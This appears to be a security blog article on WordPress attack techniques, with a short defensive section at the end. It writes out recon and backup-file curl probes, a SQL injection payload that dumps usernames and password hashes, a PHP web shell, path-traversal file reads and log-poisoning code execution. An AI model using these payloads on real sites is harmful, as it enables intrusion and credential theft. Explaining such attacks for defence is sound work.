How Hackers Actually Hack WordPress: Data Extraction & Exploitation Techniques Explained

Most WordPress security advice focuses on plugins and surface-level protection.
But real attackers think differently — they focus on data extraction, misconfigurations, and chaining vulnerabilities.

This article breaks down how hackers actually compromise WordPress sites, especially how they extract sensitive data from the server and use it to escalate attacks.

1. Reconnaissance: Mapping the Target

Before attacking, hackers gather as much information as possible.

Enumerating WordPress Version

curl https://example.com | grep "generator"

Or:

curl https://example.com/readme.html

Knowing the version helps match known vulnerabilities.

Listing Plugins & Themes

curl https://example.com/wp-content/plugins/

Or brute-force detection:

wpscan --url https://example.com --enumerate p

2. Extracting Data via wp-config.php Exposure

The most valuable file in WordPress:

wp-config.php

It contains:

• Database credentials
• Authentication salts

Common Misconfiguration Exploit

Backup or misnamed files:

curl https://example.com/wp-config.php.bak
curl https://example.com/wp-config.php~
curl https://example.com/.env

If accessible, attackers gain full database access.

3. Database Extraction (SQL Injection)

Poorly coded plugins often allow SQL injection.

Example Vulnerable Code

<?php
$id = $_GET['id'];
$wpdb->get_results("SELECT * FROM wp_posts WHERE ID = $id");

Exploit Example

?id=1 UNION SELECT user_login,user_pass FROM wp_users

This can expose:

• Usernames
• Hashed passwords
• Email addresses

4. User Enumeration via REST API

curl https://example.com/wp-json/wp/v2/users

Attackers collect valid usernames and launch targeted brute-force attacks.

5. File Upload Exploits

Many plugins allow file uploads without proper validation.

Malicious Upload Example

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

file=shell.php

If successful, attackers gain a web shell.

Simple PHP Shell

<?php system($_GET['cmd']); ?>

6. Reading Server Files (LFI/RFI)

Local File Inclusion vulnerabilities allow reading sensitive files.

Example

?page=../../../../wp-config.php

This exposes database credentials.

7. Log File Injection

Attackers inject code into logs and then include them.

Step 1: Inject Payload

GET /<?php system($_GET['cmd']); ?>

Step 2: Include Log File

?page=/var/log/nginx/access.log

This executes the payload.

8. Exploiting Weak File Permissions

Incorrect permissions allow file modification.

Example

chmod -R 777 wp-content/

Attackers can:

• Modify plugins
• Inject backdoors
• Replace core files

9. Extracting Data from Backups

Backup files are often publicly accessible.

curl https://example.com/backup.zip
curl https://example.com/site.sql

These may contain full database dumps.

10. Chaining Vulnerabilities

Real attacks rarely rely on one vulnerability.

Example chain:

• User enumeration → brute force
• Access admin panel
• Upload malicious plugin
• Execute remote code

How Hackers Use Extracted Data

• Credential stuffing across other sites
• Privilege escalation
• Persistent backdoor installation
• SEO spam injection
• Cryptomining scripts

Defensive Measures

• Restrict access to sensitive files
• Disable directory listing
• Use prepared SQL statements
• Validate file uploads strictly
• Monitor logs for anomalies

Secure SQL Example

<?php
$wpdb->prepare(
    "SELECT * FROM wp_posts WHERE ID = %d",
    $id
);

Block Access to wp-config

location ~* wp-config.php {
    deny all;
}

FAQ

Final Thoughts

Understanding how hackers think is the key to securing WordPress.

Most attacks are not sophisticated — they exploit simple mistakes:

• Exposed files
• Poor coding practices
• Weak server configuration

Fix those, and you eliminate the majority of real-world threats.